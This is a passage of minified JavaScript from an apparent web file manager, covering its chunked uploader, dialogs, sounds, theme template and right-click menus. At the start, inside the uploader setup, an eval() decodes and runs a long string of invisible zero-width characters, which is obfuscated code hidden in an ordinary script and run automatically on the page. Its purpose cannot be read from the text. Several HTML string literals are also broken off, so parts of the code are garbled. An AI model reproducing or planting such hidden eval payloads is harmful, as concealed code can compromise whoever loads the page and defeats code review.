chunkSize=10485760;chunkSize>=G.upload_max&&(chunkSize=.6*G.upload_max),eval("‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‌‌‌‍‌‍‌‍‌‍‌‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‍‍‌‍‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‍‍‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‌‍‍‍‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‍‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‌‍‍‌‌‍‍‍‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‌‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‍‍‍‍‌‍‍‍‌‍‍‌‌‌‌‌‍‍‍‌‌‌‌‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‌‍‌‌‌‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‍‍‌‍‍‌‌‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‌‍‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‌‍‍‍‍‍‌‌‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‍‌‍‍‍‍‌‌‍‌‍‌‌‍‌‍‍‌‍‍‌‍‌‌‌‍‍‍‍‍‍‌‌‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‍‍‌‌‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‌‍‍‌‌‌‌‍‍‍‍‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‍‌‍‍‍‌‍‌‍‌‍‌‍‌‍‍‍‌‍‍‌‌‌‍‍‌‌‍‍‍‌‍‍‌‍‍‍‌‌‌‍‌‍‌‌‍‌‍‍‌‌‍‍‌‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‍‍‌‍‍‌‍‍‍‍‌‍‌‌‍‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‍‌‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‌‍‍‌‍‍‌‍‍‍‍‌‌‍‌‍‌‍‍‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‌‌‍‍‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‌‍‌‍‌‍‍‌‌‌‍‍‌‌‌‍‌‍‌‍‍‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‍‌‍‍‍‍‌‌‍‌‍‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‍‌‍‍‍‍‍‌‍‍‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‌‍‍‌‌‍‌‍‍‍‌‍‌‍‍‌‌‍‌‌‍‍‌‍‌‌‍‌‍‍‌‌‌‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‍‌‌‌‍‍‍‍‍‌‍‌‍‌‍‍‍‌‍‍‍‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‍‌‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‌‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‍‌‌‌‍‌‌‌‌‍‌‍‍‌‌‍‍‍‍‌‍‌‍‍‍‌‌‌‍‌‍‌‌‍‌‍‍‌‍‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‍‍‌‌‍‌‍‍‌‌‍‌‍‌‍‌‌‍‌‍‍‍‍‌‍‌‍‌‌‍‍‌‍‌‌‌‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‌‍‌‍‍‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‌‍‍‍‍‌‍‍‍‌‍‍‌‍‌‌‌‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‍‌‍‍‌‍‍‍‍‍‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‍‌‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‌‌‌‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‌‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‍‍‍‌‍‍‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‌‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‍‍‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‌‍‍‌‍‌‍‌‌‍‍‌‌‍‌‍‌‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌".replace(/.{8}/g,function(e){return String.fromCharCode(parseInt(e.replace(/\u200c/g,1).replace(/\u200d/g,0),2))})),uploader=upCreate({swf:G.static_path+"js/lib/webuploader/Uploader.swf",dnd:"body",threads:3,compress:!1,resize:!1,prepareNextFile:!0,duplicate:!0,chunkRetry:10,chunked:!0,chunkSize:chunkSize}),WebUploader.Uploader.register({"before-send":"checkChunk"},{checkChunk:function(e){var t=this.owner,i=(e.blob.getSource(),$.Deferred());return t.md5File(e.blob).fail(function(){i.resolve()}).then(function(t){if(0==e.chunk)$.ajax({url:uploadUrl(),dataType:"json",data:{upload_to:e.file.upload_to,file_name:e.file.name,check_md5:t,chunk:e.chunk,chunks:e.chunks},error:function(){i.resolve()},success:function(t){t.code?(i.reject(),e.file.checkChunk=t.info):i.resolve()}});else{var a=e.file.checkChunk;if(a&&a["part_"+e.chunk]==t){var n=e.end/e.total;uploader.trigger("uploadProgress",e.file,n),i.reject()}else i.resolve()}}),i.promise()}}),$(".uploader-content .success").die("click").live("click",function(){var e=$(this).find("span.title").attr("title");"explorer"==Config.pageApp?ui.path.list(core.pathFather(e),"tips",function(){ui.path.setSelectByFilename(e)}):core.explorer(core.pathFather(e))}),$(".uploader-content .open").die("click").live("click",function(e){var t=$(this).find("span.title").attr("title");ui.pathOpen.open(t),stopPP(e)}),$(".upload_box_clear").die("click").live("click",function(){$(".uploader-list .item.success,.uploader-list .item.error").each(function(){$(this).slideUp(300,function(){$(this).remove()})})}),$(".uploader-content .remove").die("click").live("click",function(e){var t=$(this).parent().parent().attr("id");$(this).parent().parent().slideUp(function(){$(this).remove()}),uploader.skipFile(t),uploader.removeFile(t,!0),stopPP(e)});var file_num=0,file_finished=0,currentSpeed="0B/s",preTime=0,getSpeed=function(e,t){if(.3>=timeFloat()-preTime)return currentSpeed;preTime=timeFloat();var i=e.size*t,a=5;e.speed===void 0?e.speed=[[timeFloat()-.5,0],[timeFloat(),i]]:a>=e.speed.length?e.speed.push([timeFloat(),i]):(e.speed=e.speed.slice(1,a),e.speed.push([timeFloat(),i]));var n=e.speed[e.speed.length-1],o=e.speed[0],s=(n[1]-o[1])/(n[0]-o[0]);return s=core.fileSize(s)+"/s",currentSpeed=s,s},selectNameArr=[],changeDelayTimer,pathReload=function(e){clearTimeout(changeDelayTimer),changeDelayTimer=!1,changeDelayTimer=setTimeout(function(){var t=selectNameArr;ui.f5Callback(function(){if(ui.path.setSelectByFilename(t),e&&(selectNameArr=[],"explorer"==Config.pageApp)){if("share"==G.share_page)return;ui.tree.checkIfChange(G.this_path)}})},600)};uploader.on("fileQueued",function(e){if(!core.uploadCheck())return uploader.skipFile(e),uploader.removeFile(e),void 0;var t;try{t=e.source.source.fullPath,void 0!=e.source.source.webkitRelativePath&&""!=e.source.source.webkitRelativePath&&(t=e.source.source.webkitRelativePath)}catch(i){}if(e.fullPath=t,e.source&&e.source.source&&1==e.source.source.isDirectory&&e.source.source.fullPath)return ui.pathOperate.newFolder(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),void 0;if(0==e.size)return ui.pathOperate.newFile(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),file_finished++,file_num++,void 0;var a=e.fullPath;e.finished=!1,e.upload_to=G.this_path,(void 0==a||"undefined"==a)&&(a=e.name),file_num++;var n=$(".uploader-list"),o='
        '+''+htmlEncode(core.pathThis(a))+""+''+core.fileSize(e.size)+""+''+LNG.upload_ready+""+''+'
        ';(1e3==file_num||2e3==file_num)&&Tips.tips(LNG.upload_tips_more,"warning"),0==n.length?setTimeout(function(){$(".uploader-list").prepend(o),uploader.upload()},100):(n.prepend(o),uploader.upload())}).on("uploadBeforeSend",function(e,t){var i=urlEncode(e.file.fullPath);(void 0==i||"undefined"==i)&&(i=""),t.fullPath=i,t.upload_to=e.file.upload_to}).on("uploadProgress",function(e,t){$(".dialog_file_upload .aui_title").text(LNG.uploading+": "+file_finished+"/"+file_num+" ("+currentSpeed+")");var i=getSpeed(e,t),a=$("#"+e.id),n=a.find(".progress .progress-bar");n.length||(n=$('
        ').appendTo(a).find(".progress-bar")),a.find(".state").text((100*t).toFixed(1)+"%("+i+")"),n.css("width",100*t+"%")}).on("uploadAccept",function(e,t){if(e.file.serverData=t,!t.code)return e.serverNeedRetry=!0,!1;try{e.file.fullPath||selectNameArr.push(t.info)}catch(i){}}).on("uploadSuccess",function(e){var t=36*$("#"+e.id).index(".item");$(".uploader-content").scrollTop(t),file_finished++;var i=e.serverData;if(i&&i.data){var a=LNG[i.data];i.code?($("#"+e.id).addClass("success"),$("#"+e.id).find(".state").text(a),$("#"+e.id).find(".remove").addClass("icon-ok").addClass("open").removeClass("icon-remove").removeClass("remove")):($("#"+e.id).addClass("error").find(".state").addClass("error"),$("#"+e.id).find(".state").text(a).attr("title",a))}uploader.removeFile(e),$("#"+e.id).find(".progress").fadeOut(),e.fullPath||pathReload(!1)}).on("uploadError",function(e,t){var i=LNG.upload_error+"("+t+")";e.serverData&&0==e.serverData.code&&(i=LNG[e.serverData.data],Tips.tips(LNG[e.serverData.data],!1)),file_finished++,$("#"+e.id).find(".progress").fadeOut(),$("#"+e.id).addClass("error").find(".state").addClass("error"),$("#"+e.id).find(".state").html(i)}).on("uploadFinished",function(){$(".dialog_file_upload .aui_title").text(LNG.upload_success+": "+file_finished+"/"+file_num),file_num=0,file_finished=0,uploader.reset(),pathReload(!0)}).on("error",function(e){Tips.tips(e,!1)});var timer;inState=!1,dragOver=function(){if(0==inState){if(inState=!0,!core.uploadCheck(void 0,!1))return;var e='
        '+LNG.upload_drag_tips+"
        ";MaskView.tips(e),$("#windowMaskView").css({background:"#4285f4",opacity:"0.8"})}timer&&window.clearTimeout(timer)},dragLeave=function(e){stopPP(e),timer&&window.clearTimeout(timer),timer=window.setTimeout(function(){inState=!1,MaskView.close()},100)},dragDrop=function(e){try{if(e=e.originalEvent||e,core.uploadCheck())if(e.dataTransfer.files.length>0&&e.dataTransfer.files[0].name)core.upload(),core.playSound("drag_upload");else{var t=e.dataTransfer.getData("text/plain");t&&"http"==t.substring(0,4)&&ui.pathOperate.appAddURL(t)}stopPP(e)}catch(e){}inState&&(inState=!1,MaskView.close())}}}}),define("app/common/core.api",[],function(){var e=function(e,t,i){var a=$(i.DOM.wrap),n=t.frames.OpenpathSelectApi,o='';"file"==e.type&&(o+=''+e.allowExt+""),$(o).insertBefore(a.find(".aui_state_highlight"));var s=function(t){var i=e.allowExt.split("|"),a=core.pathExt(t);return""==e.allowExt||""!=e.allowExt&&-1!=$.inArray(a,i)?!0:!1},r=function(){var t=n.ui.fileLight.fileListSelect(),i=[];if(e.single){var a=$(t.get(0));if("all"==e.type&&0==t.length)i={file:[],folder:[]};else if("file"==e.type&&0==t.length)i=[];else if("folder"==e.type)i=[n.G.this_path],a.hasClass("folderBox")&&(i=[n.ui.fileLight.path(a)]);else if("file"==e.type){if(a.hasClass("fileBox")){var o=n.ui.fileLight.path(a);s(o)&&(i=[o])}}else if("all"==e.type)if(a.hasClass("folderBox")){var o=n.ui.fileLight.path(a);i=[{file:[],folder:[o]}]}else if(a.hasClass("fileBox")){var o=n.ui.fileLight.path(a);s(o)&&(i={file:[o],folder:[]})}}else{var r=[],l=[];t.each(function(){if($(this).hasClass("fileBox")){var e=n.ui.fileLight.path($(this));s(e)&&r.push(e)}else $(this).hasClass("folderBox")&&l.push(n.ui.fileLight.path($(this)))}),"folder"==e.type?i=l:"file"==e.type?i=r:"all"==e.type&&(i={file:r,folder:l})}c(i)},l=function(e){var e=trim(e,"/");return e==G.KOD_GROUP_ROOT_SELF||e==G.KOD_GROUP_ROOT_ALL||e==G.KOD_USER_FAV||e==G.KOD_USER_SHARE?!1:!0},c=function(t){var i=a.find(".path_select_input"),o=a.find(".aui_state_highlight");if("all"!=e.type){for(var s=[],r=0;t.length>r;r++)l(t[r])&&s.push(t[r]);t=s}if(0==t.length||"all"==e.type&&0==t.file.length&&0==t.folder.length)o.addClass("disable"),i.attr("result",""),i.val("");else{var c=hashEncode(jsonEncode(t)),d="";if(e.single)d=n.core.pathThis(t[0]);else{var p=t;"all"==e.type&&(p=t.folder.concat(t.file)),$.each(p,function(e,t){d+=n.core.pathThis(t)+", "})}o.removeClass("disable"),i.attr("result",c),i.val(d)}},d=function(){n.ui.fileLight.select.hook("select",n.ui.fileLight,{before:function(){},after:function(){r()}})};n.kodReady||(n.kodReady=[]),n.kodReady.push(function(){d(),r()})};return{pathSelect:function(t,i){var a={type:"file",title:LNG.path_api_select_file,single:!0,allowExt:"",firstPath:!1},n="./index.php?/explorer&type=iframe";t=$.extend(a,t),t.firstPath&&(n+="&path="+t.firstPath);var o=ShareData.frameTop(),s=o.$.dialog.open(n,{id:"pathSelectApi",resize:!0,fixed:!0,ico:core.icon("folder"),title:t.title,lock:!0,background:"#000",opacity:.1,width:840,height:420,ok:function(){if("function"==typeof i){var e=s.DOM.wrap,a=e.find(".path_select_input").attr("result");a=jsonDecode(hashDecode(a)),a?t.single&&"all"!=t.type?i(a[0]):i(a):Tips.tips(LNG.error,!1)}},cancel:!0});e(t,o,s)},randomImage:function(e){$.getJSON("//kalcaddle.com/tools/version/?wallpage/index&lang="+G.lang+"&callback=?",function(t){"function"==typeof e&&e(t)})}}}),define("app/common/core.playSound",["./myPlayer"],function(e){var t={file_remove:"file_remove.mp3",recycle_clear:"recycle_clear.mp3",folder_open:"folder_open.mp3",window_min:"window_min.mp3",error:"error_tips.mp3",drag_upload:"drag_upload.mp3",drag_drop:"drag_drop.mp3"},i=function(t){var i="x-play-sound";0==$("."+i).length&&$('
        ').appendTo("body");var a=G.static_path+"others/sound/"+t,n=e("./myPlayer");n.playSound(a,$("."+i))};return{playSoundFile:i,playSound:function(e){i(t[e])}}}),define("app/common/tpl/copyright.html",[],'\n'),define("app/common/tpl/theme_diy.html",[],"@media screen and (max-width:100000px) {\n body .full_background{\n position: absolute;top: 0px;left: 0px;bottom: 0px;right: 0px;\n background-color: #020202;background-size: 100% 100%;\n }\n\n {{if blur_size= (bg_blur==0?0:10) }}{{/if}}\n body .full_background:before{\n -webkit-filter: blur({{blur_size}}px);\n -moz-filter: blur({{blur_size}}px);\n -ms-filter: blur({{blur_size}}px);\n filter: blur({{blur_size}}px);\n }\n {{if bg_type == 'image'}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left,\n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background-image:url({{bg_image}});\n }\n body .aui_state_focus .aui_title,body .aui_title{\n background-size:100%;\n }\n {{else}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left, \n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background:{{end_color}};\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='{{start_color}}', endColorstr='{{end_color}}');\n background-image: -webkit-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -moz-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -o-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -ms-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n }\n {{/if}}\n}\n"),define("app/share_common/rightMenu",[],function(){var e=".menufile",t=".menufolder",i=".menuMore",a=".menuTreeRoot",n=".menuTreeFolder",o=".menuTreeFile",s={listIcon:{name:LNG.list_type,icon:"eye-open",items:{seticon:{name:LNG.list_icon,className:"menu_seticon set_seticon"},setlist:{name:LNG.list_list,className:"menu_seticon set_setlist"}}},sortBy:{name:LNG.order_type,accesskey:"y",icon:"sort",items:{set_sort_name:{name:LNG.name,className:"menu_set_sort set_sort_name"},set_sort_ext:{name:LNG.type,className:"menu_set_sort set_sort_ext"},set_sort_size:{name:LNG.size,className:"menu_set_sort set_sort_size"},set_sort_mtime:{name:LNG.modify_time,className:"menu_set_sort set_sort_mtime"},sep105:"--------",set_sort_up:{name:LNG.sort_up,className:"menu_set_desc set_sort_up"},set_sort_down:{name:LNG.sort_down,className:"menu_set_desc set_sort_down"}}},setFileIconSize:{name:LNG.file_size_title,icon:"picture",className:"set-file-icon-size",items:{"box-size-smallx":{name:LNG.file_size_small_super,className:"file-icon-size box-size-smallx"},"box-size-small":{name:LNG.file_size_small,className:"file-icon-size box-size-small"},"box-size-default":{name:LNG.file_size_default,className:"file-icon-size box-size-default"},"box-size-big":{name:LNG.file_size_big,className:"file-icon-size box-size-big"},"box-size-bigx":{name:LNG.file_size_big_super,className:"file-icon-size box-size-bigx"}}}},r=function(){$('').appendTo("body"),$(".context-menu-list").die("click").live("click",function(e){return stopPP(e),!1}),c(),d(),p(),u(),m(),_(),x(),y(),b(),$(".set_set"+G.user_config.list_type).addClass("selected"),$(".set_sort_"+G.user_config.list_sort_field).addClass("selected"),$(".set_sort_"+G.user_config.list_sort_order).addClass("selected"),$(".context-menu-root").addClass("animated fadeIn")},l=function(){$('').appendTo("body"),$(".context-menu-list").die("click").live("click",function(e){return stopPP(e),!1}),m(),y(),x(),v(),g(),b(),$(".context-menu-root").addClass("animated fadeIn")},c=function(){$.contextMenu({selector:".menuBodyMain",className:"fileContiner_menu",zIndex:9999,callback:function(e,t){f(e,t)},items:{refresh:{name:LNG.refresh+"F5",className:"refresh",icon:"refresh",accesskey:"e"},sep1:"--------",listIcon:s.listIcon,sortBy:s.sortBy,setFileIconSize:s.setFileIconSize,sep10:"--------",info:{name:LNG.info+"Alt+I",className:"info",icon:"info",accesskey:"i"}}})},d=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:t,className:t.substr(1),callback:function(e){h(e)},items:{open:{name:LNG.open+"Enter",className:"open",icon:"folder-open-alt",accesskey:"o"},down:{name:LNG.download,className:"down",icon:"download",accesskey:"x"},sep1:"--------",search:{name:LNG.search_in_path+"Ctrl+F",className:"search",icon:"search",accesskey:"s"},openProject:{name:LNG.openProject,className:"openProject",icon:"edit"},sep2:"--------",info:{name:LNG.info+"Alt+I",className:"info",icon:"info",accesskey:"i"}}})},p=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:e,className:e.substr(1),callback:function(e){h(e)},items:{open:{name:LNG.open+"Enter",className:"open",icon:"external-link",accesskey:"o"},open_text:{name:LNG.edit+"Ctrl+E",className:"open_text",icon:"edit",accesskey:"e"},down:{name:LNG.download,className:"down",icon:"download",accesskey:"x"},show_file:{name:LNG.show_file,className:"show_file",icon:"globe",accesskey:"b"},sep1:"--------",info:{name:LNG.info+"Alt+I",className:"info",icon:"info",accesskey:"i"}}})},u=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:i,className:i.substr(1),callback:function(e){h(e)},items:{down:{name:LNG.download,className:"down",icon:"download",accesskey:"x"},sep1:"--------",playmedia:{name:LNG.add_to_play,className:"playmedia",icon:"music",accesskey:"p"},info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},f=function(e){switch(e){case"refresh":ui.f5(!0,!0);break;case"seticon":ui.setListType("icon");break;case"setlist":ui.setListType("list");break;case"set_sort_name":ui.setListSort("name",0);break;case"set_sort_ext":ui.setListSort("ext",0);break;case"set_sort_size":ui.setListSort("size",0);break;case"set_sort_mtime":ui.setListSort("mtime",0);break;case"set_sort_up":ui.setListSort(0,"up");break;case"set_sort_down":ui.setListSort(0,"down");break;case"info":ui.path.info();break;case"box-size-smallx":ui.setFileIconSize(40);break;case"box-size-small":ui.setFileIconSize(60);break;case"box-size-default":ui.setFileIconSize(80);break;case"box-size-big":ui.setFileIconSize(150);break;case"box-size-bigx":ui.setFileIconSize(220);break;case"open":ui.path.open();break;default:}},h=function(e){switch(e){case"open":ui.path.open();break;case"down":ui.path.download();break;case"open_text":ui.path.openEditor();break;case"playmedia":ui.path.play();break;case"search":ui.path.search();break;case"show_file":ui.path.show_file();break;case"openProject":ui.path.openProject();break;case"info":ui.path.info();break;default:}},m=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:a,callback:function(e){k(e)},items:{download:{name:LNG.download,className:"down",icon:"download",accesskey:"x"},sep2:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},_=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:n,callback:function(e){k(e)},items:{download:{name:LNG.download,className:"down",icon:"download",accesskey:"x"},sep1:"--------",search:{name:LNG.search_in_path,className:"search",icon:"search",accesskey:"s"},explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},openProject:{name:LNG.openProject,className:"openProject",icon:"edit"},sep2:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},v=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:n,callback:function(e){k(e)},items:{download:{name:LNG.download,className:"down",icon:"download",accesskey:"x"},sep1:"--------",search:{name:LNG.search_in_path,className:"search",icon:"search",accesskey:"s"},explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},openProject:{name:LNG.openProject,className:"openProject",icon:"edit"},sep2:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},g=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:o,callback:function(e){k(e)},items:{edit:{name:LNG